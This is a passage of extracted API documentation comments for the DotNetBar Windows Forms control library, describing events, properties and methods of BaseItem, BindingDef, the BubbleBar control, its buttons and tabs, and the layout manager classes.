states check the item parameter. + + When occurring on the parent this will hold the reference to the item that has been added. When occurring on the item being added this will be null (Nothing). + + + + Occurs after an item has been removed. + + Item being removed. + + + + Occurs just before Click event is fired. + + + + + Occurs after SubItems Collection has been cleared. + + + + + Occurs before an item is removed. + + Item being removed. + + + + Occurs when IsOnCustomizeMenu property has changed. + + + + + Occurs when IsOnCustomizeDialogChanged property has changed. + + + + + Occurs when item enter or exists the design mode. + + + + + Occurs when tooltip is about to be shown or hidden. + + Specifies whether tooltip is shown or hidden. + + + + Occurs after item has received the input focus. + + Item that received the focus. + + + + Occurs after item has lost the input focus. + + Item that lost the input focus. + + + + Indicates whether the item enabled property has changed. + + + + + Called after TopInternal property has changed + + + + + Called after LeftInternal property has changed + + + + + Occurs when the mouse pointer enters the item. This is used by internal implementation only. + + + + + Occurs when the mouse pointer hovers the item. This is used by internal implementation only. + + + + + Occurs when the mouse pointer leaves the item. This is used by internal implementation only. + + + + + Occurs when the mouse pointer is over the item and a mouse button is pressed. This is used by internal implementation only. + + + + + Occurs when the mouse pointer is over the item and a mouse button is released. This is used by internal implementation only. + + + + + Occurs when a key is pressed down while the item has focus. This is used by internal implementation only. + + + + + Processes the MouseLeave for the current mouse over item. + + + + + Occurs when the mouse pointer is moved over the item. This is used by internal implementation only. + + + + + Occurs when the item is clicked. This is used by internal implementation only. + + + + + Raises the click event and provide the information about the source of the event. + + + + + + Raises the Click event with default source as Code. + + + + + Occurs when the item is double clicked. This is used by internal implementation only. + + + + + Invokes DoubleClick event. + + + + + Occurs when the item receives focus. If overridden base implementation must be called so default processing can occur. + + + + + Occurs when the item has lost the focus. If overridden base implementation must be called so default processing can occur. + + + + + Sets the input focus to the item. If overridden base implementation must be called so default processing can occur. + + + + + Releases the input focus. If overridden base implementation must be called so default processing can occur. + + + + + Occurs when item container has lost the input focus. If overridden base implementation must be called so default processing can occur. + + + + + Occurs when item container receives the input focus. If overridden base implementation must be called so default processing can occur. + + + + + Indicates that item size has changed. It must be called by child item to let the parent know that its size + has been changed. + + + + + Return Sub Item at specified location + + + + + Gets the current expanded subitem. + + + + + + Gets the item that has input focus. + + Item that has focus or Null (Nothing) if none of the subitems have focus. + + + + Gets the owner of the item. + + DotNetBarManager that owns the item. + + + + Recalculate the size of the item. If overridden base implementation must be called so default processing can occur. + + + + + Must be overridden by class that is inheriting to provide the painting for the item. + + + + + Must be overridden by class that is inheriting to provide the method to + return copy of an item. + + + + + Internal Copy implementation. + + Item to copy to. + + + + Returns copy of the item. + + Copy of the item. + + + + Forces the repaint the item. + + + + + Occurs when Expanded state changes. If overridden base implementation must be called so default processing can occur. + + + + + Raises ExpandChange event. + + Event arguments + + + + Occurs when sub item expanded state has changed. + + Sub item affected. + + + + Releases all resurces used in this control. After calling Dispose() + object is not in valid state and cannot be recovered to the valid state. + Recreation of the object is required. + + + + + Occurs after item visual style has changed. + + + + + Occurs after text has changed. + + + + + Returns if passed control is valid. + + Control to test. + + + + + Resets Hoover timer. + + + + + Returns true if any subitem is contained on the control with a given handle. + + Container handle to test. + + + + + Occurs after Tooltip text has changed. + + + + + Sets orientation of the item but it does not cause the recalculate layout flag setting on the parent item. + + New orientation value. + + + + Destroys tooltip window. + + + + + Called when HotSubItem has changed. + + New value. + Old value. + + + + Shows tooltip for this item. + + + + + Returns the shortcut string that is displayed on tooltip. + + + + + + Returns the point in screen coordinates. + + Client point + Point in screen coordinates if there is a parent Control otherwise clientPoint + + + + Collapses all sub items by setting their Expanded property to false. + + Item to collapse. + + + + Collapses all sub items by setting their Expanded property to false. Enumerates all child items as well. + + Item to collapse. + + + + Collapses whole tree for the item starting with its parent. + + Item to collapse. + + + + Returns whether item is hosted on popup menu or bar. + + Item to get information for. + + + + + Serves as a hash function for a particular type, suitable for use in hashing algorithms and data structures like a hash table. + + Hash code. + + + + Called when DragStartPoint property has changed. + + Old property value + New property value + + + + Called when Command property value changes. + + + + + Occurs when text markup link is clicked. + + + + + Updates data bindings for item and its sub-items in response to binding context change on parent control. + + + + + Executes the specified delegate, on the thread that owns the control's underlying window handle, with the specified list of arguments. + This property calls directly the ContainerControl.Invoke and is provided as shortcut convenience property only. + + A delegate to a method that takes parameters of the same number and type that are contained in the args parameter. + An array of objects to pass as arguments to the specified method. This parameter can be null reference (Nothing in Visual Basic) if the method takes no arguments. + An Object that contains the return value from the delegate being invoked, or nullNothingnullptra null reference (Nothing in Visual Basic) if the delegate has no return value. + + + + Executes the specified delegate, on the thread that owns the control's underlying window handle, with the specified list of arguments. + This property calls directly the ContainerControl.Invoke and is provided as shortcut convenience property only. + + A delegate to a method that takes parameters of the same number and type that are contained in the args parameter. + An Object that contains the return value from the delegate being invoked, or nullNothingnullptra null reference (Nothing in Visual Basic) if the delegate has no return value. + + + + Executes the specified delegate, on the thread that owns the control's underlying window handle, with the specified list of arguments. + This property calls directly the ContainerControl.BeginInvoke and is provided as shortcut convenience property only. + + A delegate to a method that takes parameters of the same number and type that are contained in the args parameter. + An Object that contains the return value from the delegate being invoked, or nullNothingnullptra null reference (Nothing in Visual Basic) if the delegate has no return value. + + + + Occurs when Item is clicked. + + + + + Occurs when Item is double-clicked. + + + + + Occurs when Item Expanded property has changed. + + + + + Occurs when item loses input focus. + + + + + Occurs when item receives input focus. + + + + + Occurs when mouse button is pressed. + + + + + Occurs when mouse button is released. + + + + + Occurs when mouse enters the item. + + + + + Occurs when mouse leaves the item. + + + + + Occurs when mouse moves over the item. + + + + + Occurs when mouse remains still inside an item for an amount of time. + + + + + Occurs when copy of the item is made. + + + + + Occurs when Text property of an Item has changed. + + + + + Occurs when Visible property of an Item has changed. + + + + + Occurs when Enabled property of an Item has changed. + + + + + Occurs when item's tooltip visibility has changed. + + + + + Occurs when content of SubItems collection has changed. + + + + + Gets or sets whether item is rendered. + + + + + Gets or sets whether item is selectable at design-time. Default value is true. + + + + + Control Container (System.Windows.Forms.Control or its descendant) + + + + + Returns the Parent of the item. + + + + + Gets or sets a value indicating whether the item is enabled. + + + + + Gets or sets whether item separator is shown before this item. + + + + + Gets or sets Left position of this item + + + + + Gets or sets Top position of this item + + + + + Gets or sets Width of this item + + + + + Gets whether item is in right-to-left layout mode. + + + + + Gets or sets Height of this item + + + + + Gets or sets a value indicating whether the item is visible. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Indicates whether the item will auto-collapse (fold) when clicked. + When item is on popup menu and this property is set to false, menu will not + close when item is clicked. + + + + + Gets or sets whether item will auto expand when mouse is over the item or not. + + + + + Gets the rectangle that represents the display area of the item. + + + + + Gets or sets the size of the item. + + + + + IBlock member implementation + + + + + Specifies whether this item is visual container or not. For example + Tool Menu is not container since it drops-down its items and they are + not "visualy" contained. Also, the pop-up menus, drop-down Bars etc. are not containers. + + + + + Returns true if this item is currently displayed. This property should not be set directly since it is managed by system and container of the item. + + + + + Gets the mouse down coordinates. + + + + + Gets whether item is on context menu created using ContextMenuBar + + + + + Gets whether RaiseClick method will generate a click event give current item state. + + + + + Indicates whether RaiseClick method collapses parent popups before raising click event. Default value is true. + + + + + Gets whether item has input focus. + + + + + Indicates that item is recalculating its size. + + + + + Suspends all layout for the item including painting. Use this property carefully and only to improve performace. + + + + + Indicates whether item is performing layout pass. + + + + + Gets whether layout pass is in progress in the parent chain. + + + + + Gets whether item has been disposed through Dispose method call. + + + + + Returns the collection of sub items. + + + + + Returns count of sub items in SubItems collection that have Visible property set to true. + + + + + Unique ID that indentifies the item. + + + + + Allows the user to associate custom user data with the item. + + + + + Applies new visual style to this the item and all of its sub-items. + + + + + Gets the effective item style. + + + + + Gets or sets whether item will display sub items. + + + + + Gets or sets item alignment inside the container. + + + + + Gets or sets item description. This description is displayed in + Customize dialog to describe the item function in an application. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Gets/Sets informational text (tooltip) for the item. + + + + + Returns category for this item. If item cannot be customzied using the + customize dialog category is empty string. + + + + + Returns name of the item that can be used to identify item from the code. + + + + + Gets or sets the global name of the item that is used to synchronize the Global properties for the item across all instances with same + global name. Note that only instances that belong to the same control are synchronized. GlobalItem must be set to true to perform the synchronization. + You can find more information and list of + properties that are synchronized in help file. + + + + + Gets whether global properties should synchronized. + + + + + Gets orientation within container that is supported by this item. If item does not support certain orientation the container automatically hides it when container switches into that orientation. + + + + + Gets or sets whether item is global or not. + This flag is used to propagate property changes to all items with the same name. + Setting for example Visible property on the item that has GlobalItem set to true will + set visible property to the same value on all items with the same name. + + + + + Gets or sets orientation inside the container. Do not change the value of this property. It is managed by system only. + + + + + Gets whether tooltip for the item is displayed. + + + + + Gets whether tooltip is visible or not. + + + + + Gets or sets the name of the bar this item originated on. This is used to remember the + originating bar when user is moving the items from bar to bar. + + + + + Gets or sets item's original position (index) if item position has changed due to the user customization. + + + + + Gets or sets flag that indicates whether item was customize by the end-user. + + + + + Gets reference to the tooltip control if tooltip is displayed for this item. + + + + + Gets or sets the Key Tips access key or keys for the item when on Ribbon Control or Ribbon Bar. Use KeyTips property + when you want to assign the one or more letters to be used to access an item. For example assigning the FN to KeyTips property + will require the user to press F then N keys to select an item. Pressing the F letter will show only keytips for the items that start with letter F. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets whether item can be customized by end user. + + + + + Returns whether item is hosted on Customize menu. + + + + + Returns whether item is hosted on Customize Dialog. + + + + + Returns whether item is hosted on menu or not. + + + + + Returns whether item is hosted on menu bar or not. + + + + + Returns whether item is hosted on bar or not. + + + + + Returns whether item is in design mode or not. + + + + + Get or sets whether item has been changed in a way that it needs its size recalculated. This is internal + property and it should not be used by your code. + + + + + Returns whether item is System item. + + + + + Indicates whether access key processing set using ampersand key in Text is enabled. When enabled, and access key is pressed, item will raise Click event. + + + + + Return Access key for the item. + + + + + Gets or sets the collection of shortcut keys associated with the item. + + + + + Returns text representation of shortcut for this item. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Gets or sets the design-marker orientation for the item. + + + + + + Specifes the mouse cursor displayed when mouse is over the item. + + + + + Indicates whether item will be Serialized. + + + + + Specifies whether item is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets the AccessibleObject assigned to the item. + + + + + Gets or sets the default action description of the control for use by accessibility client applications. + + + + + Gets or sets the description of the control used by accessibility client applications. + + + + + Gets or sets the name of the control used by accessibility client applications. + + + + + Gets or sets the accessible role of the item. + + + + + Gets or sets a value indicating whether the item is visible to accessibility applications. + + + + + Gets the item state inside of the parent container. + + + + + Gets or sets item margin only used by certain items in certain containers. Provided only for internal DotNetBar use. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that for ButtonItem instances if this property is set to null and command was assigned previously, Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Gets reference to parsed markup body element if text was markup otherwise returns null. + + + + + Gets plain text without text-markup if text-markup is used in Text. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets a value indicating whether the caller must call an invoke method when making method calls to the item because the caller is on a different thread than the one the item was created on. + This property calls directly the ContainerControl.InvokeRequired and is provided as shortcut convinience property only. + + + + + Defines item parent container states. + + + + + State is not set. + + + + + Item in on the NavigationPane in normal size. + + + + + Represents the controller which allows single BaseItem to be hosted on the control. + + + + + Initializes a new instance of the BaseItemController class. + + + + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Defines class which described single binding. + + + + + Raises Format event. + + Provides event arguments. + + + + Initializes a new instance of the BindingDef class. + + + + + Initializes a new instance of the BindingDef class. + + + + + + + Updates specified item PropertyName with the data from data object property specified by DataMember. + + Item to set PropertyName on. + Data to retrieve DataMember value from. + + + + Updates specified item PropertyName with the data from data object property specified by DataMember. + + CurrencyManager to use + Item to set PropertyName on. + Data to retrieve DataMember value from. + + + + Called when PropertyName property has changed. + + Old property value + New property value + + + + Called when DataMember property has changed. + + Old property value + New property value + + + + Called when FormattingEnabled property has changed. + + Old property value + New property value + + + + Called when FormatString property has changed. + + Old property value + New property value + + + + Called when FormatInfo property has changed. + + Old property value + New property value + + + + Called when NullValue property has changed. + + Old property value + New property value + + + + Raises the PropertyChanged event. + + Provides event arguments. + + + + Gets or sets the property name binding is attached to. + + + + + Gets the reference to BindingMemberInfo created based on DataMember. + + + + + Gets or sets the data member name which holds data that PropertyName is populated with. + + + + + Gets or sets whether type conversion and formatting is applied to the property data. + + + + + Gets or sets format specifier characters that indicate how a value is to be displayed. + For more information, see Formatting Overview: http://msdn.microsoft.com/en-us/library/26etazsy%28v=vs.71%29.aspx + + + + + Gets or sets the IFormatProvider that provides custom formatting behavior. + + + + + Gets or sets the Object to be set as the target property when the data source contains a DBNull value. + The data source must contain DBNull for the NullValue property to be correctly applied. + If the data source type is a type such as a string or integer the value of the NullValue property will be ignored. + Also, the NullValue property is ignored if it is set to null. + + + + + Occurs when property on BindingDef object has changed. + + + + + Represents the method that will handle converting for bindings. + + + + + + + Gets the reference to the item being converted. + + + + + Get the reference to the name of the field or property on the item that needs conversion. + + + + + Represents BindingDefConverer converter. + + + + + Creates new instance of the class. + + + + + Checks whether conversion can be made to specified type. + + Context Information. + Destination type. + + + + + Converts object to specified type. + + Context information. + Culture information. + Object to convert. + Destination type. + Object converted to destination type. + + + + Represents the toolbar control with the magnifying (bubbling) buttons. + + + + + Creates new instance of the control. + + + + + Indicates whether property should be serialized. Used by the Windows Forms design-time support. + + + + + Resets the property to default value. Used by the Windows Forms design-time support. + + + + + Indicates whether property should be serialized. Used by the Windows Forms design-time support. + + + + + Resets the property to default value. Used by the Windows Forms design-time support. + + + + + Returns whether property should be serialized by Windows Forms designer. + + True if property is different than default value otherwise false. + + + + Returns whether property should be serialized by Windows Forms designer. + + True if property is different than default value otherwise false. + + + + Recalculates the layout of the control. This method should be called after all changes to the tabs, buttons are completed so + layout of the control recalculated. + + + + + Raises ItemLayoutUpdated event. + + Provides event arguments. + + + + Returns reference to the button at specified location + + x - coordinate + y - coordinate + Reference to the button or null if no button could be found at given coordinates. + + + + Returns reference to the button at specified location + + Location coordinates + Reference to the button or null if no button could be found at given coordinates. + + + + Returns tab at specific location. + + Coordinates to get the tab from. + Reference to the tab object or null if tab cannot be found at specified location + + + + Returns tab at specific location. + + x - coordinate + y - coordinate + Reference to the tab object or null if tab cannot be found at specified location + + + + Invokes BubbleStart event. + + + + + Invokes BubbleEnd event. + + + + + Invokes ButtonClick event on the control. + + Reference to the button that was clicked. + + + + Called after overlay window became inactive. + + + + + Stops the bubble animation effect is one is applied currently. + + + + + Internal processing of MouseMove event. + + Move move event arguments. + + + + Internal processing for MouseLeave event. + + Event arguments + + + + Called after all buttons have been removed. + + Tab from which all buttons were removed. + + + + Called after specified button has been removed. + + Tab from which button was removed. + Button that was removed. + + + + Called after new button is added to the Buttons collection. + + Tab to which button was added. + Reference to the button added. + + + + Called when Visible property of Button has changed. + + Button affected. + + + + Returns the button background rectangle for display purposes. Applies setting for the ButtonBackgroundStretch property. + + Background rectangle. + + + + Called after tab has been removed from the collection. + + Tab that was removed. + + + + Called after tab has been added to the collection. + + Newly added tab. + + + + Called after all tabs are removed from the collection. + + + + + Called after text of a tab has changed. + + Tab which text has changed. + + + + Called after Visible property of the tab has changed. + + Tab affected. + + + + Sets the tab mouse is placed over. + + Tab that mouse is currently over or null if mouse is not over any tab. + + + + Occurs when active tab is about to change. + + + + + Occurs when any of the buttons is clicked. Sender object should be casted to BubbleButton to get the button that was actually clicked. + + + + + Occurs when mouse first enters the control and bubble effect is employed to provide feedback. + + + + + Occurs when mouse leaves the control and bubble effect is ended. + + + + + Gets or sets the bubble button tooltip text color. Default value is White color. + + + + + Gets or sets the bubble button tooltip text outline color. Default value is Black color. + + + + + Gets or sets the spacing in pixels between buttons. Default value is 0. + + + + + Gets or sets whether background for the buttons is stretched to consume complete width of the control. Default value is true. + + + + + Gets the style for the background of the control. + + + + + Gets the style for the background of the buttons. + + + + + Gets the bounds of the buttons back area. + + + + + Gets the bounds of the tabs area. + + + + + Gets or sets the duration of animation that is performed when mouse enters a button for the first time or when mouse has left the control. + + + + + Gets or sets whether bubble animation is enabled. Default value is true. + + + + + Gets or sets whether anti-alias smoothing is used while painting. + + + + + Gets or sets ImageList for images used on buttons. These images will be used as images for the buttons that are not magnified. + Use ImagesLarge to specify the magnified images for the coresponding images based on the index in this list. + + + + + Gets or sets ImageList for large-sized images used on buttons when button is magnified. + + + + + Gets or sets whether tooltips are displayed for the buttons. + + + + + Gets or sets size of the images when button is enlarged, default value is 48 by 48 pixels. Note that you should provide the + images in the same size for the buttons through the image properties on the buttons or through ImagesLarge property. + If the large images are not provided the regular button image will be automatically enlarged. + + + + + Gets or sets the normal image size for the buttons, default value is 24 by 24 pixels. This should be set to the default image size that you will use on the + buttons. If the images specified for the buttons are not of the same size as the size specified here then they will + be automatically resized. Normal size must always be smaller than the size specified by ImageSizeLarge property. + + + + + Gets or sets the font that is used to display tooltips. + + + + + Gets or sets the selected tab. + + + + + Gets the reference to the colors that are used when tab is selected. + + + + + Gets the reference to the colors that are used when mouse is over the tab. + + + + + Gets the collection of all tabs. + + + + + Gets or sets the button alignment. + + + + + Gets or sets whether tabs are visible. Default value is true. + + + + + Occurs after internal item layout has been updated and items have valid bounds assigned. + + + + + Delegate for tab change events. + + + + + Represents the event arguments tab changing events. + + + + + Cancels the operation. + + + + + Specifies the event source. + + + + + Specifies newly selected tab. + + + + + Specifies currently selected tab. + + + + + Default Constructor. + + + + + Represents overlay class to support bubble effects on BubbleBar control. + + + + + Called just before window is shown. + + + + + Called after window is closed. + + + + + Summary description for BubbleBarGroup. + + + + + Represents interface for simple text only tab. + + + + + Returns the font used for tab text. + + Reference to font object. + + + + Gets or sets the text displayed on the tab. + + + + + Gets or sets whether tab is visible. + + + + + Gets the display bounds of the tab. + + + + + Gets or sets the background color of the tab when inactive. + + + + + Gets or sets the target gradient background color of the tab when inactive. + + + + + Gets or sets the gradient angle. + + + + + Gets or sets the light border color when tab is inactive. + + + + + Gets or sets the dark border color when tab is inactive. + + + + + Gets or sets the border color when tab is inactive. + + + + + Gets or sets the text color when tab is inactive. + + + + + Gets or sets name of the tab item that can be used to identify item from the code. + + + + + Gets or sets the predefined tab color. + + + + + Returns true if tab is selected tab. + + + + + Returns true if mouse is over the tab. + + + + + Gets the tab alignment. + + + + + Default constructor. + + + + + Default constructor. + + Container object. + + + + Returns the font for the tab text. + + Reference to the font object. + + + + Sets the parent of the tab. + + Reference to the tab parent object or null. + + + + Called after new button is added to the Buttons collection. + + Reference to the added button. + + + + Called after specified button has been removed. + + Button that was removed. + + + + Called after all buttons have been removed. + + + + + Gets the collection of the buttons associated with the tab. + + + + + Gets or sets the text displayed on the tab. + + + + + Gets or sets whether tab is visible. + + + + + Gets the display bounds of the tab. + + + + + Gets or sets the object that contains data about the tab. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + + + + + Gets or sets the object that contains data about the tab. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + + + + + Gets or sets the background color of the tab when inactive. + + + + + Gets or sets the target gradient background color of the tab when inactive. + + + + + Gets or sets the gradient angle. + + + + + Gets or sets the light border color when tab is inactive. + + + + + Gets or sets the dark border color when tab is inactive. + + + + + Gets or sets the border color when tab is inactive. + + + + + Gets or sets the text color when tab is inactive. + + + + + Gets or sets name of the tab item that can be used to identify item from the code. + + + + + Gets or sets the predefined tab color. + + + + + Returns true if tab is selected tab. + + + + + Returns true if mouse is over the tab. + + + + + Gets the tab alignment. + + + + + Returns reference to parent object or null if tab does not have parent. + + + + + Gets or sets whether tab has design-time focus. + + + + + Gets or sets the bounds of the content block. + + + + + Gets or sets item margin only used by certain items in certain containers. Provided only for internal DotNetBar use. + + + + + Represents collection for BubbleBarTab objects. + + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the IBlock array. + + Array to copy to. + + + + Copies contained items to the ISimpleTab array. + + Array to copy to. + + + + Returns next visible tab from the reference tab. + + Reference tab. + Next visible tab or null if next visible tab cannot be determined. + + + + Returns previous visible tab from the reference tab. + + Reference tab. + Previous visible tab or null if Previous visible tab cannot be determined. + + + + Returns reference to the object in collection based on it's index. + + + + + Represents a button used on BubbleBar control. + + + + + Creates new instance of button object. + + + + + Sets the display rectangle of the button. + + New display rectangle of the button. + + + + Sets the magnified display rectangle of the button. + + New magnified display rectangle. + + + + Sets whether mouse is over the button. + + True if mouse is over the button otherwise false. + + + + Raises the MouseEnter event. + + + + + Raises the MouseLeave event. + + + + + Sets whether left mouse button is pressed over this button. + + True if left mouse button is pressed otherwise false. + + + + Sets the parent collection button belongs to. + + Parent collection of the item. + + + + Returns the reference to the BubbleBar that contains this button. + + + + + + Invokes button's Click event. + + Indicates source of the event. + + + + Raises click event. + + Default event arguments. + + + + Occurs when user clicks the button. + + + + + Occurs when mouse enters the button. + + + + + Occurs when mouse leaves the button. + + + + + Gets or sets the shortcut key to expand/collapse splitter. + + + + + Gets or sets the tooltip for the button. + + + + + Gets or sets the default image used on the button. Note that for improved appearance of the buttons when enlarged + you should set the ImageIndexLarge to the large version of the image specified here. The image size should be the same size + that is specified by the image size properties on BubbleBar object. + + + + + Gets reference to the internal cached image loaded from the ImageIndex. + + + + + Gets reference to the internal cached image loaded from the ImageIndex. + + + + + Specifies the Button image. + + + + + Specifies enlarged the Button image. + + + + + Gets or sets the image index of the enlarged image for the button. Note that if large image is not specified the + default image will be enlarged which might not result in perfect image appearance. + + + + + Property for Property Editor support for ImageIndex selection. + + + + + Gets or sets a value indicating whether button is enabled. + + + + + Gets the display rectangle occupied by the button. + + + + + Gets or sets the magnified display rectangle of the button. + + + + + Gets whether mouse is over the button. + + + + + Gets whether left mouse button is pressed on the button. + + + + + Returns name of the button that can be used to identify it from the code. + + + + + Gets or sets a value indicating whether button is visible. + + + + + Gets or sets the object that contains data about the tab. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + + + + + Gets or sets the object that contains data about the tab. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + + + + + Returns the reference to parent tab. + + + + + Gets or sets whether button has design-time focus. + + + + + Gets or sets the mouse cursor that is displayed when mouse is over the button. + + + + + Gets or sets the bounds of the content block. + + + + + Gets or sets item margin only used by certain items in certain containers. Provided only for internal DotNetBar use. + + + + + Represents event arguments for Click event. + + + + + Gets the action that caused the event, event source. + + + + + Represents typed collection of BubbleButton objects. + + + + + Copies contained items to the IBlock array. + + Array to copy to. + + + + Creates new instance of the collection. + + Parent of the collection. + + + + Adds new item to the collection but it does not raise internal events. + + New item to add. + Index of newly added item. + + + + Adds new item to the collection at specified location but it does not raise internal events. + + New item to add. + Position to add item to. + + + + Clears the collection but it does not raise internal events. + + + + + Performs additional custom processes before setting a value in the CollectionBase instance. + + The zero-based index at which oldValue can be found. + The value to replace with newValue. + The new value of the element at index. + + + + Performs additional custom processes after setting a value in the CollectionBase instance. + + The zero-based index at which oldValue can be found. + The value to replace with newValue. + The new value of the element at index. + + + + Performs additional custom processes before inserting a new element into the CollectionBase instance. + + The zero-based index at which to insert value. + The new value of the element at index. + + + + Performs additional custom processes after inserting a new element into the CollectionBase instance. + + The zero-based index at which to insert value. + The new value of the element at index. + + + + Performs additional custom processes when removing an element from the CollectionBase instance. + + The zero-based index at which value can be found. + The value of the element to remove from index. + + + + Performs additional custom processes after removing an element from the CollectionBase instance. + + The zero-based index at which value can be found. + The value of the element to remove from index. + + + + Removes an item without raising internal events. + + Item to remove. + + + + Performs additional custom processes when clearing the contents of the CollectionBase instance. + + + + + Copies the collection to the ArrayList object. + + Target ArrayList. + + + + Adds new item to the collection. + + New item to add. + Index of newly added item. + + + + Adds new item to the collection at specified location. + + New item to add. + Position to insert item at. Position of -1 will append the item to the end of the collection. + Index of the newly added item. + + + + Inserts new item at the specified position. + + Position to insert item at. + Item to insert. + + + + Returns index of an item. + + Item to return index for. + Item at the specified position. + + + + Returns index of an item with given the item's name. + + Name of the item. + Index of the Item with the specified name or -1 if item is not found. + + + + Returns true if given item is contained by this collection. + + Item to test. + True if item is part of this collection otherwise false. + + + + Returns true if item with given name is part of this collection. + + Item name. + True if item is part of this collection otherwise false. + + + + Removes an item from the collection. + + Item to remove. + + + + Removes an item from collection at specified index. + + Index of the item to remove. + + + + Removes item from the collection with specified name. + + Name of the item to remove. + + + + Adds array of the items to the collection. + + Array of items to add. + + + + Copy the collection to the array. + + Array to copy collection to. + The zero-based relative index in array at which copying begins. + + + + Gets the parent of the collection. + + + + + Accesses items inside of the collection based on the index. + + + + + Accesses items inside of the collection based on the name. + + + + + Represents class for displaying BubbleButton objects on canvas. + + + + + Paints button on given canvas. + + Painting information. + + + + Represents class that holds information for BubbleButton painting. + + + + + Graphics object. + + + + + Button to paint. + + + + + Reference to BubbleBar control. + + + + + Gets or sets whether magnified version of the button is painted. + + + + + Gets or sets the button alignment inside of the bar. + + + + + Represents class for default layout of the BubbleButton objects. + + + + + Represents block layout manager responsible for sizing the content blocks. + + + + + Resizes the content block and sets it's Bounds property to reflect new size. + + Content block to resize. + Content size available for the block in the given line. + + + + Performs layout finalization + + + + + + + + + Gets or sets the graphics object used by layout manager. + + + + + Creates new instance of the class. + + + + + Resizes the content block and sets it's Bounds property to reflect new size. + + Content block to resize. + + + + Represents class that provides mangification for the BubbleMar control + + + + + Represents the serial content layout manager that arranges content blocks in series next to each other. + + + + + Represents interface for block layout. + + + + + Performs layout of the content block. + + Container bounds to layout content blocks in. + Content blocks to layout. + Block layout manager that resizes the content blocks. + The bounds of the content blocks within the container bounds. + + + + Creates new instance of the class. + + + + + Performs layout of the content block. + + Container bounds to layout content blocks in. + Content blocks to layout. + Block layout manager that resizes the content blocks. + The bounds of the content blocks within the container bounds. + + + + Occurs when X, Y position of next block is calcualted. + + + + + Occurs before new block is layed out. + + + + + Gets or sets the spacing in pixels between content blocks. Default value is 0. + + + + + Gets or sets whether content blocks are forced to fit the container bounds if they + occupy more space than it is available by container. Default value is false. + + + + + Gets or sets whether content blocks are resized to fit the container bound if they + occupy less space than it is available by container. Default value is false. + + + + + Gets or sets whether content blocks are resized (Width) to fit container bounds if they + occupy less space than the actual container width. Applies to the Vertical orientation only. Default value is false. + + + + + Gets or sets whether content blocks are resized (Height) to fit container bounds if they + occupy less space than the actual container height. Applies to the Horizontal orientation only. Default value is false. + + + + + Gets or sets the content orientation. Default value is Horizontal. + + + + + Gets or sets the content vertical alignment. Default value is Middle. + + + + + Gets or sets the block line vertical alignment. Default value is Middle. + + + + + Gets or sets the content horizontal alignment. Default value is Left. + + + + + Gets or sets whether all content blocks are resized so they have same height which is height of the tallest content block. Default value is false. + + + + + Gets or sets whether oversized blocks are resized based on the percentage reduction instead of based on equal pixel distribution. Default value is false. + + + + + Gets or sets whether content is wrapped into new line if it exceeds the width of the container. + + + + + Gets or sets whether layout is right-to-left. + + + + + Performs layout of the content block. + + Container bounds to layout content blocks in. + Content blocks to layout. + Block layout manager that resizes the content blocks. + The bounds of the content blocks within the container bounds. + + + + Gets or sets the bubble size for the mouse over item. + + + + + Gets or sets magnification factor for the item that is at the position MouseOverIndex-1 + + + + + Gets or sets magnification factor for the item that is at the position MouseOverIndex-2 + + + + + Gets or sets magnification factor for the item that is at the position MouseOverIndex+1 + + + + + Gets or sets magnification factor for the item that is at the position MouseOverIndex+2 + + + + + Gets or sets the index of the item mouse is over. + + + + + Gets or sets new X coordinate of the mouse over item when in horizontal layout or Y + coordinate when in vertical layout. + + + + + Summary description for ButtonItem. + + + + + PopupItem Class can pop-up it's subitems on either the popup Bar + or menu. + + + + + Adds neccessary functions to base item so it supports images properly. + If your item implements images you should derive from this class instead of BaseItem + + + + + Create new instance of ImageItem. + + + + + Create new instance of ImageItem and assigns the item name. + + Item name. + + + + Create new instance of ImageItem and assigns the item name and text. + + Item name. + Item text. + + + + Must be called by any sub item that implements the image when image has changed + + + + + Called after image on an item has changed. + + + + + Refreshes internal image size structure. + + + + + Occurs after an item has been removed. + + Item being removed. + + + + Refreshes internal image size structure. + + + + + When parent items does recalc size for its sub-items it should query + image size and store biggest image size into this property. + + + + + Provides design-time support for DotNetBar items. + + + + + Creates new instance of PopupItem. + + + + + Creates new instance of PopupItem and assigns the name to it. + + Item name + + + + Creates new instance of PopupItem and assigns the name and text to it. + + Item name. + Item text. + + + + Copies the PopupItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Occurs when the mouse pointer is moved over the item. This is used by internal implementation only. + + + + + Occurs when the mouse pointer is over the item and a mouse button is released. This is used by internal implementation only. + + + + + Displays the sub-items on popup menu. + + Popup location. + + + + Invokes PopupOpen event. + + + + + + Displays the sub-items on popup menu. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + + + + Displays the sub-items on popup menu. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + Indicates whether screen position of the menu is verified so the menu always appears on the screen. + + + + Raises PopupShowing event. + + Event arguments. + + + + Displays the sub-items on popup toolbar. + + Popup location. + + + + Displays the sub-items on popup toolbar. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + + + + Displays popup container. + + Popup location. + + + + Creates the 